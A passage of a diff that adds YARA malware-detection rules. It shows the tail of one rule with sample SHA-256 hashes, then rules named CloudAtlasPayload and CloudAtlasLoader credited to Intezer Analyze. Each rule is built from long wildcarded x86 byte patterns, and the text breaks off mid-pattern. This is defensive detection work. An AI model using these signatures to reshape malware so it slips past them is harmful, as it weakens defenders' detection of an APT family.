+		$block_59 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_60 = { 66 ?? ?? ?? 31 ?? ?? F9 9B 4? 6A ?? C1 ?? ?? ?? ?? ?? ?? A2 ?? ?? ?? ?? 28 ?? ?? EF 77 }
+		$block_61 = { E8 ?? ?? ?? ?? 4? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 39 ?? 0F 8F }
+		$block_62 = { 8B ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_63 = { 8B ?? ?? ?? ?? ?? 01 ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_65 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_66 = { B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 80 F? ?? 0F B6 ?? 0F B6 ?? ?? 19 ?? C1 ?? ?? 83 ?? ?? 09 ?? 8D ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 29 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_71 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_72 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 8D ?? ?? 29 ?? ?? 39 ?? 89 ?? ?? 89 ?? 0F 87 }
+		$block_73 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 87 }
+		$block_74 = { 0F B6 ?? ?? BA ?? ?? ?? ?? 4? 89 ?? 31 ?? C6 ?? ?? ?? ?? 8D ?? ?? F7 ?? 88 ?? 04 ?? 88 }
+		$block_75 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 8B ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_77 = { 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_78 = { 5? B8 ?? ?? ?? ?? 89 ?? 5? 5? 5? 83 ?? ?? F6 ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_80 = { 0A ?? ?? ?? 4? 88 ?? F6 ?? 08 ?? C0 ?? ?? 34 ?? 0F B6 ?? 01 ?? ?? ?? ?? ?? 39 ?? 75 }
+		$block_81 = { 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_82 = { 8B ?? ?? 0F B6 ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_83 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_84 = { 8B ?? ?? 89 ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_85 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 87 }
+		$block_86 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_88 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_91 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_92 = { 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_93 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_94 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_95 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_96 = { 8B ?? ?? 83 ?? ?? 89 ?? C1 ?? ?? F6 ?? ?? 8D ?? ?? 89 ?? ?? 8D ?? ?? FC F3 ?? 0F 84 }
+		$block_97 = { 0F B6 ?? ?? ?? 89 ?? 0F B6 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 08 ?? 4? 74 }
+		$block_98 = { 89 ?? 83 ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_99 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "9e854d40f22675a0f1534f7c31626fd3b67d5799f8eea4bd2e2d4be187d9e1c7" or
+		hash.sha256(0, filesize) == "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1" or
+		hash.sha256(0, filesize) == "d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e" or
+		hash.sha256(0, filesize) == "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17" or
+		hash.sha256(0, filesize) == "f30a0fe494a871bd7d117d41025e8d2e17cd545131e6f27d59b5e65e7ab50d92" or
+		12 of them
+}
+
+rule CloudAtlasPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 0F B7 ?? ?? 8B ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_1 = { 6A ?? 8B ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_3 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_5 = { 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? 8B ?? ?? 03 ?? ?? 3B ?? 0F 83 }
+		$block_9 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_10 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_11 = { 0F B7 ?? ?? 0F B7 ?? ?? 8B ?? ?? 03 ?? ?? 3B ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "34905d840bbfbbc555dfd280b383e2c00d4c7987be71067ad7152b26f06d2cd0" or
+		12 of them
+}
+
+rule CloudAtlasLoader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F3 ?? A4 C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 